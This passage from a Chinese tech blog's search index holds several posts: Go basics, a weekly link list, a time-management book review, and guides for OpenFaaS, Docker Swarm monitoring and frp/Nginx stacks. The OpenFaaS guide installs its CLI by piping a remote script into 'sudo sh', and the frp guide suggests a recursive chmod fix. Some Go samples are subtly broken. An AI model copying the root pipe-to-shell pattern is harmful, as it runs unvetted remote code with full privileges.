\u0026#34;sd\u0026#34;) _,c := swap(\u0026#34;c\u0026#34;, \u0026#34;ddd\u0026#34;) 值传递，和引用传递，类似于 CPP 语法\n/* 定义交换值函数*/ func swap(x *int, y *int) { var temp int temp = *x /* 保持 x 地址上的值 */ *x = *y /* 将 y 值赋给 x */ *y = temp /* 将 temp 值赋给 y */ } 这里是直接传递引用的，如果在 CPP 的惯性下，可能更愿意理解为指针。\n变量的作用域Scope 局部变量，全局变量，形式变量。 全局变量可以在整个包甚至外部包（被导出后）使用。 同CPP里面的变量相同，记得初始化局部变量，全局变量，默认初始化为 0/nil 数组 和其他语言一样，常见的顺序的数据结构。定义形式如下：\n// 声明 var variable_name [SIZE] variable_type var balance [10] float32 // 定义形式比较诡异 var balance = [5]float32{1000.0, 2.0, 3.4, 7.0, 50.0} 可以很方便的使用 for range 进行遍历：\narray := [5]int{1, 3, 4, 5, 7} for i := range array { fmt.Println(array[i]) } 二维数组一样，行列的形式。\n数组作为参数 使用 C 的惯性，写出以下的三种形式。\nfunc func1(a []int) int { return a[1] } // func2 在编译的时候是会报错的。 func func2(a *int) int { return a[1] } func func3(a [5]int) int { return a[1] } 指针 这里也是 Go 的精髓 ，保留了指针，但是为了保证稳定， 削减了其Hack 的灵活性 指针的内容大体上和 C 类似 空指针被定义为了 nil 大体上的用法和 C 类似，如果具体讲起可能需要一本 《Go与指针》了XD var pptr **int 像是 char ** argv 一样的是存在的 结构体 这个在 Go 里面可是个好东西。当时在 C 里面辛辛苦苦一大堆的函数指针，图啥呢\n其定义格式 以及初始化如下：\ntype struct_variable_type struct { member definition; member definition; ... member definition; } variable_name := structure_variable_type {value1, value2...valuen} // 成员名，可以作为键进行映射 variable_name := structure_variable_type { key1: value1, key2: value2..., keyn: valuen} 其用法和一般 OO语言类似\ntype Books struct { title string author string subject string book_id int } var Book1 Books /* 声明 Book1 为 Books 类型 */ var Book2 Books /* 声明 Book2 为 Books 类型 */ /* book 1 描述 */ Book1.title = \u0026#34;Go 语言\u0026#34; Book1.author = \u0026#34;www.runoob.com\u0026#34; Book1.subject = \u0026#34;Go 语言教程\u0026#34; Book1.book_id = 6495407 一样的存在结构体（对象）的指针。得力于GC不需要delete就不用紧张了\nvar Book1 books; var struct_pointer *Books struct_pointer = \u0026amp;Book1; a := book{123, 456} b := book{a: 123, b: 123} fmt.Print(a, b) type book struct { a int b int } 切片 很方便的提供了和python 的类似的 数组切片方式\ns := arr[startIndex:endIndex] len() 和 cap() 分别是获取数组元素个数，和可以容纳的最大元素数。\nappend() 和 copy()\n这里的数组是基础的元素，不能使用 append\na := [5]int{123,123,123} a.append(123) // 这里报错 a = append(a, 1) // 使用 make 可以创建一个新的数组 b := make([]int, len(numbers), (cap(numbers))*2) Range 用于遍历结构的一个常用功能。 感觉类似 Python 的 range range 会返回两个参数，分别是 index，和元素 Map 和py一样的键值对\n声明形式一样很奇怪\n/* 声明变量，默认 map 是 nil */ var map_variable map[key_data_type]value_data_type /* 使用 make 函数 */ map_variable := make(map[key_data_type]value_data_type) 值得注意的是，键值的类型在声明的时候已经指定。\n遍历键值\nfor country := range countryCapitalMap { fmt.Println(country, \u0026#34;首都是\u0026#34;, countryCapitalMap [country]) } GO 的错误处理，虽然不是这个部分的，不过从这里的代码细节可以看出，双返回值其中的一个内容就是错误码\ncapital, ok := countryCapitalMap [ \u0026#34;美国\u0026#34; ] /*如果确定是真实的,则存在,否则不存在 */ /*fmt.Println(capital) */ /*fmt.Println(ok) */ if (ok) { fmt.Println(\u0026#34;美国的首都是\u0026#34;, capital) } else { fmt.Println(\u0026#34;美国的首都不存在\u0026#34;) } 递归 Go 支持递归调用 接口 接口是一种数据类型，\n任何其他类型，只要实现了这些方法就是实现了这个接口\n接口定义的示例代码：\n/* 定义接口 */ type interface_name interface { method_name1 [return_type] method_name2 [return_type] method_name3 [return_type] ... method_namen [return_type] } /* 定义结构体 */ type struct_name struct { /* variables */ } /* 实现接口方法 */ func (struct_name_variable struct_name) method_name1() [return_type] { /* 方法实现 */ } ... func (struct_name_variable struct_name) method_namen() [return_type] { /* 方法实现*/ } 非侵入式 的接口。这里给了个例子，慢慢发现真的很精妙。\npackage main import \u0026#34;fmt\u0026#34; type Phone interface { call() } type NokiaPhone struct { } fmt.Println(\u0026#34;I am Nokia, I can call you!\u0026#34;) } type IPhone struct { } func (iPhone IPhone) call() { fmt.Println(\u0026#34;I am iPhone, I can call you!\u0026#34;) } func main() { var phone Phone // 声明接口 phone = new(NokiaPhone) // 赋值到对象 phone.call() // 调用接口 phone = new(IPhone) phone.call() } 错误处理 Go 的错误处理是接口特性的很好的体现\n具体内容比较核心，属于语言特性，后面再深入学习\n并发 Go 的极重要的特性\n使用关键字 go 来启动 goruntine\ngo foo(a,b,c) // 有点像Node的异步 go foo1(x,y,z) 通道 Channel\n用来传递数据的一个数据结构\n用于两个 goroutine 之间的的值来同步和通信\n通道声明：\nch := make(chan int) ch \u0026lt;- v // 把 v 发送到通道 ch v := \u0026lt;-ch // 从 ch 接收数据 // 并把值赋给 v 通道缓存实例： func main() { // 这里我们定义了一个可以存储整数类型的带缓冲通道 // 缓冲区大小为2 ch := make(chan int, 2) // 因为 ch 是带缓冲的通道，我们可以同时发送两个数据 // 而不用立刻需要去同步读取数据 ch \u0026lt;- 1 ch \u0026lt;- 2 // 获取这两个数据 fmt.Println(\u0026lt;-ch) fmt.Println(\u0026lt;-ch) } 后面的话 至此30分钟的教程完结，是自己针对有编程经验前提下的精简吧。\n后面的并发，和错误处理的部分，是Go 的特性，还会进行详尽的学习。\n","date":"2019-03-22T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-22-30-min-for-golang/","tags":null,"title":"30 min for Golang"},{"categories":null,"contents":"前面的话 总会遇见一些奇奇怪怪但是给自己带来一些新奇的想法的东西。有时候给偷偷转发，或者自己收藏。\n但是，很遗憾的是总是没有进行统一的管理。 一会丢了，一会不见了。突然想到的时候，找啊找，总是找不到它了。\n所以，决定再在这里开坑吧，每周一更，时间佛系。也算是对自己的监督了。\n正文 句子 是不是每个人年轻的时候都有这样一段日子，鸿鹄志高却难遂，迷茫地过着，昏昏噩噩地耗，最终不是妥协泯然众人，就是找不到出口被生活围困。这时候家人朋友，看在眼里，哪怕不说，心里想的也是“小镇青年何必心怀远方”这样的想法吧。（J·M·库切《青春》）\n当发现自己的才会撑不起野心的时候，就安静下来学习吧。\n使用人月作为一项工程的规模，是一个危险和带有欺骗性的神话。（佛瑞德·布鲁克斯《人月神话》）\n卡辛斯基曾经提到过这种情况。未来生产力大发展，物质极大丰富，人类无所事事，只能\u0026quot;把时间花在互相擦皮鞋上面，或者用出租车带着彼此到处瞎转，互相为对方做手工艺品，互相给对方端盘子等等。\u0026ldquo;说实话，我看不出来，大家互相拍视频，直播吃饭、购物、打游戏，跟互相擦皮鞋，有什么本质的不同。\n（对未来AI带来的生产力解放的一个猜想）\n文章 化工男的十二年的化学遭遇之路 真真实实的好文章 保证不伤害自己，保证不伤害他人，保证自己不被他人伤害 世界上只有一种病，那就是穷病 穷，大概是我现在最害怕的一个东西 一个得了穷病的人，永远着眼于眼前的资源，惧怕风险，不舍得投入，做事畏首畏脚，注定不会有大的成就。道理一套一套的摆在那边，但是真正的让自己去行动，确实难上加难，否则我也不会有昨天那般狼狈不堪了。真的需要痛定思痛的去改变自己了。 TECH 什么是 Docker \u0026ndash; V2EX Docker不是虚拟机，所形容的集装箱，更多的指的是应用的标准。这也就是一个容器一个进程的最好的解释。 那么 Docker 的实质是什么？在我看来就是个针对 PAAS 平台的自动化运维工具而已。众所周知（当然如果你不知道，那么我来告诉你）：自动化运维的大前提就是标准化。 当你开始诟病Docker的变更需要提交太麻烦的时候，要开始反思自己的需求是否真的需要 Docker了。 Linux 内存中的 Cache 真的能被回收么？ buffers/cache 占用的较多，说明系统中有进程曾经读写过文件，但是不要紧，这部分内存是当空闲来用的 Kubernetes实战 – 谈谈微博应对春晚等突发峰值流量的经验 计算机原理 —— 计算机是如何启动的 硬件初始化 =\u0026gt; 加载BIOS =\u0026gt; 加载Loader(win/Linux Loader) =\u0026gt; （Stage2 加载）=\u0026gt; 加载内核代码 计算机原理 —— 主板与内存映射 不是所有的地址都会被进行内存寻址，会在北桥进行地址转换，到一些IO设备。 Etcd 分布式配置共享 从本质上说，分布式配置共享服务就是一种分布式的键值数据库。 Etcd 主要注重于应用配置数据的保存，它能够确保数据在多个节点上的高度一致性，并在集群半数以下成员节点出现故障时，继续保持正常运转 用来做主机的配置的统一管理 Docker 三剑客 Docker Compose Docker 的最佳实践是一个容器只运行一个进程，因此要运行多个组件则必须运行多个容器。在一个由多容器构成的应用里，我们需要一个有效的工具来定义一个应用由哪些容器组成，以及定义这些容器之间如何关联。为了解决以上问题，Compose 便应运而生。 从本质上来讲，Compose 把 YML 文件解析成 docker 命令的参数，然后调用相应的 docker 命令行接口，从而把应用以容器化的方式管理起来 Docker Swarm 它可以把多个 Docker 主机组成的系统转换成为单一的虚拟 Docker 主机。 一个服务由多个任务组成，一个任务即一个运行的容器。 The swarm manager uses ingress load balancing ( 基于 ipvs 的四层代理 ) to expose the services you want to make available externally to the swarm。使用四层负载均衡实现可用性拓展 Docker Swarm（With an external key-value store）推荐使用 etcd 进行统一管理 官方不推荐基于 token 的 Docker Swarm 来创建 Swarm 集群（仅适用于开发测试环境），而应该基于 KV 键值配置共享来实现 Swarm 集群。 使用 docker-machine + etcd 的方式来直接创建 swarm 集群，etcd 使用单台主机（clean-Host）提供服务。 swarm manager 和 swarm agent 的创建，只要指定 discovery 服务为 Etcd 等配置共享服务即可。例如：--swarm-discovery etcd://172.16.0.21:2379。 Docker Machine 一个 Docker Machine 就是一个 Docker host 主机和经过配置的 Docker client 的结合体。 方便的进行跨主机的多Docker 的服务管理 负载均衡集群 LVS 详解 垂直拓展/水平拓展 = 高性能/多数量 四层负载均衡：根据请求报文中的目标地址和端口进行调度 七层负载均衡：根据请求报文的内容进行调度，这种调度属于「代理」的方式 PickS Notion - 好像是一款很好用的全功能的笔记工具 后 后面自己专注收集吧，也希望成为每周的 Tab-Closing 计划。\n","date":"2019-03-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-21-weekly-0/","tags":null,"title":"Weekly.0"},{"categories":null,"contents":"前 这本书，在图书馆一个角落里发现的，一查还是相当经典的一本书。自己是 ***p ，总觉得自己的确生活态度太随意了，过于理想。很多很多时候，已经明明安排好的事情，或者看似一小时能搞定的事情，往往得断断续续花上几天的时间。如果仅仅说是懒，自己还真是有点不相信了。\n引用书里面的内容，自己的脑子在不断的进行上下文的切换， 在操作系统中，要求中断引起的上下文切换时间越短越好。可是倒在自己的脑子了发现没那么简单了。\n可能大概看了五分钟的书，想着喝口水吧，喝完了水，回到座位想着玩会手机，玩着玩着，就不知道过了多久。所以可以见到，这个上下文切换的过程。简直是面临了ROP的攻击。不知道之前的看书的返回到哪里去了。\n越发觉得，自己的时间管理的概念需要建立起来，还好现在也不晚。所以借着这本书有个初步的接触，自己没事要念念不忘。对了，这本书有一点好，后面的破折号写着 l给系统管理员(SA) 也就是 System and networking Administrator 。虽然现在没有SA了不过现在OPS的性质河那时候倒是有些相像 —— 一个又一个的 int 21\n在搜索引擎上面倒是也得到了一些方案比如这个 GTD （Getting Things Done） ，这里的部分的概念，在书是有提到的。\n两分钟原则：任何事情如果花的时间少于两分钟，那么马上就去做。两分钟是一个分水岭，这样的时间和正式地推迟一个动作所花的时间差不多。\n所以开始慢慢的执行自己的时间管理吧，从这本书开始。\n简介 书名：时间管理 ——给系统管理员 作者：Thomas A. Limoncelli ISBN：9 787564 109059 现在，做好了，把手放在驾驶盘上，放开手刹车，享受吧，让Tom给你的世界带来时间管理和清明。\n摘自序。\n来自 O\u0026rsquo;REILLY 的书 ，其封面是狼獾，强壮，狡猾，无畏，贪婪。\n时间管理原则 这个是本书的第一章，其原则有以下几条：\n信息统一管理，reminder 脑力留给最重要的事情 不要造轮子，积极复用 形成习惯和信念 项目期间保持专注 社交不是一个可选功能 每个人都被忠告要避免拖延，需要记住的是，拖延是人的天性，它来自于惧怕和缺乏信心。\n专心对待干扰 在工作的时候一直有各种个月的中断。就如前面说的观点，干扰 t 分钟，然而浪费的时间，是加上恢复工作状态，加上找到工作进度的总和 t+p+s。\n把记忆交给工具，把自己想的东西写下来这样就可以专心的去做当前的事情。\n凌乱的桌面也会充满着各种的干扰 ，当你犹豫，就丢掉它。对于桌面的整理计划：\n把可以归档的文件归档 把未完成的羡慕放在即将完成的堆里 把剩下的所有的东西，放在一个大信封里面，上面注明，如果三个月没打开就丢掉它。 当你犹豫，就扔掉它。如果将来你需要，可以找来源处要复制品。 当我必须完成工作时，就少玩计算机游戏，远离即时通讯软件。 充分利用好没有干扰的时间，比如办公室里早早到的那一个小时。\n学会丢锅，（把干扰源转移）说“走开”，而不用当一个混蛋：\n表示事件重视，先记下来 客户想看到行动而不是收到行动（把自己的解决问题的过程尽量可视化) 在项目里面受到干扰的时候，可以有以下的几种选择：\n委派它\n嗨，xxx，他那里的web服务器问题有点复杂，我现在让他去你那边\n记录它\n加入 todo 队列\n走廊里的埋伏（就是突然xxx，这里有个事情想问问你）\n执行它\n业务重大的 Outage 的时候，需要马上执行，但是至少花点时间记录工作。\n书里面除了时间管理甚至还有些technical的建议：\n最奇怪的问题通常发生在错误的配置DNS\n例行公事 养成一些习惯，变成自己的公事，降低了自己的执行成本。而且减少做决定的时间。比如工作上的周报？\n没有人临死前的想法会是:天啊,我真希望多花点时间待在在办公室.\n循环系统 一般 上使用的记事系统不怎么管用。包括：\n分布笔记系统 (Scattered Notes System) :happy: 毁灭型永续增长工作表（Ever-Growing To Do List of Doom） :happy: 这上面就是自己的记录表，到最后都爆炸了。\n这完全事扼杀自尊的行为，你永远不会得到完成列表的成就感 这里作者安利了 PDA ，理解为我们的 Reminder 吧\n后面的部分就是介绍这个 时间表的功能，不过可能个人感触不大吧。可能当时写这个书的时候，智能手机没有诞生，所以随身一个，可以记录，完成，时间，优先级的东西就显得特别重要。现在呢？拿出手机就是啦\n文中这里分了 工作表与时间表，日程表管理，生活目标 这几个方面写循环系统的。\n优先级 优先级，可以理解是我们显示的时间上的 QoS (quality of service) ，负载轻盈的时候，什么都可以做好，负载高的时候，则需要更多的结构性的东西。再进一步理解为QoS的封包。等缓冲区满的时候，QoS 在缓冲队列中丢弃一个优先级较低的包。优先级管理类似。\n根据客户期望调节优先等级\n管理上司 书中写道，管理不一定是单行道。管理是一种关系。所以就有了 manage your boss 的理论。\n管理你的上司的三个要见就是：让他协助你发展职涯，知道合适用往上委派，以及了解其目标并作出贡献。\n压力管理 学会释放自己的压力，使用适合的方法：\n瑜伽 冥想 按摩 吸烟的人压力较之比较小，因为会过段时间到室外走走，当然治理不鼓励吸烟，只是希望：过段时间到工作区以外的地方走走。\nE-mail 管理 这个是遇到的比较爆炸的问题，看着 唯独的条数不断爆炸，毫无办法。\n建议是让收件夹保持干净。\n可以每天在15分钟把所有的邮件给读完。 存档邮件，一个时间段的邮件从收件箱搬走 排除浪费时间的事件 把浪费时间的事件定义为任何得益和所花时间之比太低的活动\n例如，花同样的时间做些家中的维修工作来增加你的生活质量，比起炸掉几百万个古怪的机器人更加有长期的益处。\n避免有诱惑力的浪费时间事件 这点是相当的重要的了，经常的听自己说：我只玩一分钟的电子游戏 ，显然这个是非常难以实现的。不知不觉看看表，就过了几个小时。\n我们得想想：啊，现在我们做的事情有多么多么的好处 从而让自己对事件的流逝感觉惋惜。\n原则是：开始做：”只做一分钟“的事情前先设好警报\n说明文件 多多的写 Wiki ，便于项目的记载和管理。\n自动化 make其实不仅仅用在编译，而也可以是小项目的管理，书中提到的自动化的流程，使用脚本等等，现在已经成为常规。\n段子 RAID 原来指的是 ”Redundant Arrays of Inexpensive Disk“ 廉价磁盘冗余阵列。现在就是 Independent\n后记： 每周40小时就回家（我也想啊） 多点事件和挚友相处 多陪陪你的小孩 打给你的父母和生活中其他重要的人士。 ","date":"2019-03-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-21-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-%E6%97%B6%E9%97%B4%E7%AE%A1%E7%90%86/","tags":null,"title":"读本好书 《时间管理》"},{"categories":["op之路"],"contents":"前面的话 本来说项目完结的转身离去，不过这样的一个平台带来的 从未体验过的全新感觉 实在是震惊呢。这一片再开新坑，来部署一个 serverless 思想的 OpenFaaS平台\nFaaS = Function as a Service\n这篇操作主要参考文章：\nYour Serverless Raspberry Pi cluster with Docker 使用 Docker 构建你的 Serverless 树莓派集群（上文译版） OpenFaaS快速入门指南 什么是Serverless（无服务器）架构？ 部署过程使用一键安装脚本，感觉有点点惭愧，不过体验功能才是重点。不重复造轮子问题不大。这篇打算主要写，这个 OpenFaaS 的架构的组成，以及后面的基础使用。\n关于 OpenFaaS 什么是OpenFaaS 和我们熟知的 IaaS，PaaS，SaaS 类似，这里指的是云的三大层次。如果不是很清楚可以看这个 ：\nIaaS，PaaS，SaaS 的区别 - ruanyf 今天大多数公司在开发应用程序并将其部署在服务器上的时候，无论是选择公有云还是私有的数据中心，都需要提前了解究竟需要多少台服务器、多大容量的存储和数据库的功能等。并需要部署运行应用程序和依赖的软件到基础设施之上。假设我们不想在这些细节上花费精力，是否有一种简单的架构模型能够满足我们这种想法？\n函数及服务，在这里是Serverless的一种实现，这里的 Serverless 可以简单的理解为，服务器的服务应用都被打包成了一个个独立的容器。这种情况下可以很容易的进行全自动的横向扩容。\n传统的服务器端软件不同是经应用程序部署到拥有操作系统的虚拟机或者容器中，一般需要长时间驻留在操作系统中运行，而FaaS是直接将程序部署上到平台上即可，当有事件到来时触发执行，执行完了就可以卸载掉。\n就可以使用 类似于 http://bgb0:8080/function/nslookup 这样的URL来对容器服务产生一个请求，而不用再考虑后端的各种的体系和流程。\nOpenFaaS部署 FaaS 服务部署 # 这里使用现有的项目一键部署 git clone https://github.com/alexellis/faas/ cd faas ./deploy_stack.sh # 客户端安装 fssa-cli 用于构建 curl -sSL cli.openfaas.com | sudo sh 对于 OpenFaaS 的部署，上面有给出的一键部署的的脚本，在x86和Arm上都可以进行快速的部署。\nroot@vm0:~# docker stack services func ID NAME MODE REPLICAS IMAGE PORTS joj44r8vpaf4 func_faas-swarm replicated 1/1 openfaas/faas-swarm:0.6.1-armhf mjnrabl3d8sj func_nats replicated 1/1 nats-streaming:0.11.2 mo8klvy4id9n func_queue-worker replicated 1/1 openfaas/queue-worker:0.6.0-armhf phqan7977dgi func_alertmanager replicated 1/1 functions/alertmanager:0.15.0-armhf sjbxputi1xe8 func_prometheus replicated 1/1 functions/prometheus:2.7.0-armhf *:9090-\u0026gt;9090/tcp z6pc60t4b684 func_gateway replicated 1/1 openfaas/gateway:0.11.0-armhf *:8080-\u0026gt;8080/tcp 在部署完成之后，可以看到有这些服务组成了这个 Stack\nfunc_gateway 管理 Function 的前端页面 func_prometheus 数据统计，以及告警的平台，用于检测服务状态来来实现系统扩容。 Grafana 监控部署 这里使用了prometheus作为数据收集和数据源和Grafana很好的兼容。直接可以作为Dashboard 的数据源。这里已经有了 FaaS 的模板的Json配置文件：\nhttps://grafana.com/dashboards/3526\n在对Dashboard导入后，有统计调用频率，函数副本数，调用次数，调用比例。\nOpenFaaS.HelloWorld() 由于是 ARM 的平台，所以导致可以直接拿来使用的镜像不是很多。其自带的 nodeinfo 和 nslookup 。这里如果要实现一个hello world 需要自己去构建函数镜像。直接使用 faas-cli 先生成模板。\nfaas-cli new --lang python hello-python 然后回自动的构建一个python 的函数容器的模板：\nroot@bgb0:~/functions# tree . -L 2 . |-- hello-python | |-- handler.py # 修改 | `-- requirements.txt |-- hello-python.yml # 修改 |-- pass `-- template |-- csharp |-- csharp-armhf |-- dockerfile |-- go |-- go-armhf |-- java8 |-- node |-- node-arm64 |-- node-armhf |-- php7 |-- python |-- python-armhf # 拷贝到上级 |-- python3 |-- python3-armhf `-- ruby 然后开始写接口，这里直接编辑 handler.py。\ndef handle(req): \u0026#34;\u0026#34;\u0026#34;handle a request to the function Args: req (str): request body \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;Hello! This is a test: \u0026#34; + req) return req 修改之后，执行构建命令，有二十几个step。。。\nfaas-cli build -f ./hello-python.yml If you\u0026rsquo;re trying thing out on a single host, then you don\u0026rsquo;t need to push your images to a registry, they\u0026rsquo;ll just be used from the local Docker library.\n为了让其他的容器拉到镜像，这里需要 push 镜像上去。\n后 今天变成 高盐度低湿度常见水产品\n","date":"2019-03-18T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-18-openfaas-%E7%9A%84%E9%83%A8%E7%BD%B2/","tags":["openfaas"],"title":"OpenFaaS 的部署"},{"categories":null,"contents":"前面的话 再一次被 Docker 所带来的革命性的变量所震撼。Build，ship and run。\n想着给之前的搭建的集群加一个监控系统，主机性能监控，和服务日志监控(ES + Kibana + filebeat)。当然很有可能只是幻想了。因为单机性能实在是太过羸弱。\n正巧看到了网上的方案使用的是 ：\ncAdvisor(数据收集)+InfluxDB(数据存储)+Grafana(数据可视化)\n这样的方案。这里的主要参考文章链接：\nDocker Swarm Monitoring docker swarm集群监控方案cAdvisor+InfluxDB+Grafana实战 服务部署 有了前面的折腾的经验，这里就到了一路绿灯的状态了。毕竟较之前有了更多的理解。这里直接使用 compose 进行结构化的部署：\nversion: \u0026#39;3.2\u0026#39; services: influx: image: influxdb volumes: - influx:/var/lib/influxdb deploy: replicas: 1 placement: constraints: # 这里指定部署的角色，数据库放在manager上面 - node.role == manager grafana: image: grafana/grafana ports: # 端口映射 - 0.0.0.0:3000:3000 volumes: - grafana:/var/lib/grafana depends_on: - influx deploy: replicas: 1 placement: constraints: # 这里也是指定部署角色 - node.role == manager cadvisor: # 这里需要使用 cadvisor 的ARM 的版本 image: budry/cadvisor-arm # 这里指定hostname 为节点名 hostname: \u0026#39;{{.Node.Hostname}}\u0026#39; # 配置参数（待会前面的frp可以学习一下） command: -logtostderr -docker_only -storage_driver=influxdb -storage_driver_db=cadvisor -storage_driver_host=influx:8086 volumes: # 这里需要对一些目录进行挂载，特别是 sys 以便获得系统信息 - /:/rootfs:ro - /var/run:/var/run:rw - /sys:/sys:ro - /var/lib/docker/:/var/lib/docker:ro depends_on: - influx deploy: mode: global volumes: influx: driver: local grafana: driver: local 上传 yml 文件，直接在 manager 节点进行部署：\ndocker pull braingamer/cadvisor-arm docker pull grafana/grafana docker stack deploy -c monitor.yml monitor 其实 这里会自动的拉镜像。(Docker 在大陆连通性不好)所以这里可能对部分镜像需要梯子。如果不出意外，理应是一路绿灯。\n上面的部署过程完成之后，后面需要在 InfluxDB 里面建立一个 cAdvisor 的库\ndocker exec `docker ps | grep -i influx | awk \u0026#39;{print $1}\u0026#39;` influx -execute \u0026#39;CREATE DATABASE cadvisor\u0026#39; 容器内执行的命令。cAdviosr 的配置已经在部署的yml指定：\ncommand: -logtostderr -docker_only -storage_driver=influxdb -storage_driver_db=cadvisor -storage_driver_host=influx:8086 后面就是在 Grafana 里面对视图进行配置了，（默认账号密码：admin），在项目里面有示例的 dashboard的配置，这里直接 Copy-paste 就好\nswarm-monitoring/dashboard.json 这里有个坑，需要修改这个配置文件里面的数据源。由 influx 改为 InfluxDB。\n这里的数据源直接可以修改为 http://influx:8086 ，数据库填写 cadvisor 便可以直接进行连接。\n至此配置完成，直接访问 主机的3000 端口即可，看见高大上的 Grafana的界面了。\nroot@vm0:~# docker service ls ID NAME MODE REPLICAS IMAGE PORTS 0m4tl8b6huw9 monitor_cadvisor global 5/5 budry/cadvisor-arm:latest ixftiydc1v8k monitor_grafana replicated 1/1 grafana/grafana:latest *:3000-\u0026gt;3000/tcp 78f3ryphvjc6 monitor_influx replicated 1/1 influxdb:latest 补充 由于监控数据的时效性，所以这里为了空间的节省，配置自动删除三天以前的数据：\ndocker exec `docker ps | grep -i influx | awk \u0026#39;{print $1}\u0026#39;` influx -execute \u0026#39;SHOW RETENTION POLICIES ON \u0026#34;cadvisor\u0026#34; \u0026#39; docker exec `docker ps | grep -i influx | awk \u0026#39;{print $1}\u0026#39;` influx -execute \u0026#39;CREATE RETENTION POLICY \u0026#34;rp_0\u0026#34; ON \u0026#34;cadvisor\u0026#34; DURATION 3d REPLICATION 1 DEFAULT\u0026#39; 后面的话 Docker 的项目和工程至此就结束了，后面开始 Golang 的学习了，加油呢。\n","date":"2019-03-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-16-docker%E7%9A%84%E9%9B%86%E7%BE%A4%E7%9B%91%E6%8E%A7/","tags":null,"title":"Docker的集群监控"},{"categories":null,"contents":"前 本来想着集群稳定呢，结果早上六点docker 的网络就突然挂了。默认网关除了问题，ping 外网不可达。导致远程主机域名无法解析，8.8.4.4:53 不可达，整体服务不可用。\n这篇，接着上面的内容，实现 frp 和 Nignx 的服务的Stack 化。前面遇到的问题，后面在找个整体的时间进行解决吧。\n架构描述 以及 Compose实现 描述 这里主要是使用 frp 和 Nginx ，前者用于穿透，后者进行页面的反代。所以这里的就是两层的服务。应该还有一级提供负载均衡的server，不过Swarm 的本身已经提供了 VIP 以及负载均衡的功能。\nDocker-Compose docker-compose 是用来做docker 的多容器控制，可以通过一个描述文件，来对服务，或者容器，进行整体的搭建，大大简化了操作流程以及可维护和可拓展性。这里的内容参考了网上的例子，进行了简单的修改。实现了前面所描述的架构。\n具体的 .yml 文件如下\nversion: \u0026#34;3.2\u0026#34; services: nginx: image: nginx ports: - \u0026#34;80\u0026#34; # 对外暴露端口 volumes: - nginx_conf:/etc/nginx networks: - backend deploy: replicas: 2 update_config: parallelism: 2 delay: 10s restart_policy: condition: on-failure frp: image: xddxdd/frpc:arm32v7 networks: - backend volumes: - frpc_ini:/frp deploy: replicas: 2 update_config: parallelism: 2 delay: 10s restart_policy: condition: on-failure networks: backend: # 这里是应该建立的卷 volumes: nginx_conf: driver_opts: type: \u0026#34;nfs4\u0026#34; o: \u0026#34;addr=192.168.1.130,nolock,soft,rw\u0026#34; device: \u0026#34;:/srv/nfs/nginx/conf\u0026#34; frpc_ini: driver_opts: type: \u0026#34;nfs4\u0026#34; o: \u0026#34;addr=192.168.1.130,nolock,soft,rw\u0026#34; device: \u0026#34;:/srv/nfs/frpc\u0026#34; 一个好消息：在这种配置的情况下比较奇迹的是可以进行 NFS 的自动挂载了。解决了前面一个很大的问题。也不清楚是之前的BUG 还是什么情况。\nCompose下面使用nfs : How to directly mount NFS share/volume in container using docker compose v3\n这里有一个坑。在Portainer 上面直接进行 Stack 部署的话，会有报错，说是平台不支持，但是的确是拉的arm的。报错信息如下：\nState Message pending task scheduling Error message no suitable node (unsupported platform on 3 nodes; 1 node not available for new tasks) 查证之后，得到以下的回答\n参考链接 = no suitable node - unable to deploy image using docker service\n在命令行里进行创建，带一个 --resolve-image never 的参数，这样可以解决报错：镜像平台不支持的问题 但前提是，镜像的架构必须相同。\ndocker stack deploy --compose-file str.yml --resolve-image never home 这里有一个 Issue ,在进行 nfs 的挂载部分,可能会出现 ,chmod 的permission deny,试着以下命令。\nchmod a+x /srv/nfs -R 项目细节 这里需要解决的问题，就是网络的问题。在前面的方法里面是直接把端口暴露在了 HOST 上面，这样占用主机资源显然是不符合容器化的思想。这里就使用Docker 的强大的网络功能，来实现一个真正的服务。swarm 的服务网络其自动带有了 负载均衡 以及 VIP。所以，这里实现目标就是 FRP 到 VIP的映射\nStack的内部网络 Swarm 的自建 Layout 网络默认的是VIP模式，可以inspect服务得到服务所在网络的VIP。这个服务，跑了 Nginx 镜像的多个副本。这些副本共用一个 VIP。实现了负载均衡以及高可用，当单容器挂了之后，自动的进行 IP 的漂移。\n获取 service 的VIP 如下：\ndocker service inspect nginxs \u0026#34;Endpoint\u0026#34;: { \u0026#34;Spec\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;vip\u0026#34; }, \u0026#34;VirtualIPs\u0026#34;: [ { \u0026#34;NetworkID\u0026#34;: \u0026#34;ktsw8uaob2n0ppsh93p5upils\u0026#34;, \u0026#34;Addr\u0026#34;: \u0026#34;10.0.14.9/24\u0026#34; } ] } 由于前面已经配置了，这个 Stack ，两个服务是在同一个子网（backend）中。所以 ，frp服务是和nginx 的网络是联通的。所以可以直接访问 其VIP。由于，好像使用stack了NFS 的问题自动解决了。这里直接修改主机上的配置文件即可。\nroot@bgb0:/tmp# cat /srv/nfs/frpc/frpc.ini [common] server_addr = ****.****.xyz server_port = **** token = myfrptest [web_swarm] type = tcp local_ip = 10.0.14.9 # 这里是 Nginx服务的VIP local_port = 443 remote_port = **** 之后，更新该服务，重新加载配置。发现外网服务可达，已实现目标功能。开心\n参考 Docker Swarm 入门：Service Network 管理 通过这篇，对网络有了基本了解 （小姐姐好看） Docker Swarm 服务发现和负载均衡原理 docker swarm 集群及多主机overlay网络测试 “三剑客”之Swarm应用数据持久化管理（volume 、bind 、 nfs） 后面的话 构思基本已经实现了，一个基于容器技术的服务部署。后面，想着对系统的整体的日志监控，依旧使用前面的ELK。完成之后，算是项目收工，后面开始Golang了\n","date":"2019-03-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-13-%E4%BB%8Eservice%E5%88%B0stack/","tags":null,"title":"从Service到Stack"},{"categories":null,"contents":"前面的话 这篇算是这段时间的对 Docker 的集群项目的一个总结，想写点什么不过发现前面都零零星星写的差不多了，所以这篇就水水的把期间遇到的有指导性的文章进行一次收集吧。\n发现了没，浏览器的标签不是收敛的。\nLinks 这里收集了一些优秀且有参考意义的文章，总是舍不得关掉的那种。\n生产环境中使用Docker Swarm的一些建议 \u0026ndash; 